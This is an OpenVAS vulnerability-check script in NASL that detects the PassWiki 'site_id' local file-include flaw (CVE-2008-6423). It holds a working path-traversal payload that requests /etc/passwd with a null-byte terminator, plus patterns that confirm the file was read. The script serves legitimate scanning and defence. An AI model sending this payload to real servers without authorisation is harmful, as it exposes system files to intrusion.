PassWiki is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.
Exploiting this issue allows remote attackers to view local files
within the context of the webserver process.
PassWiki 0.9.17 and prior versions are vulnerable.
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# OpenVAS Vulnerability Test
# $Id: PassWiki_local_file_include.nasl 5768 2017-03-29 13:37:01Z cfi $
#
# PassWiki 'site_id' Parameter Local File Include Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
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tag_summary = "PassWiki is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.
Exploiting this issue allows remote attackers to view local files
within the context of the webserver process.
PassWiki 0.9.17 and prior versions are vulnerable.";
if(description)
{
script_id(100047);
script_version("$Revision: 5768 $");
script_tag(name:"last_modification", value:"$Date: 2017-03-29 15:37:01 +0200 (Wed, 29 Mar 2017) $");
script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
script_bugtraq_id(29455);
script_cve_id("CVE-2008-6423");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("PassWiki 'site_id' Parameter Local File Include Vulnerability");
script_tag(name:"qod_type", value:"remote_active");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/29455");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port)) exit(0);
foreach dir( make_list_unique( "/passwiki", cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = string(dir, "/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if( buf == NULL )continue;
if (
egrep(pattern:"root:.*:0:[01]:.*", string: buf) ||
egrep(pattern:"Warning.*:+.*include\(.*/etc/passwd\).*failed to open stream", string: buf) # /etc/passwd not found or not allowed to access. Windows or SAFE MODE Restriction.
) {
report = report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );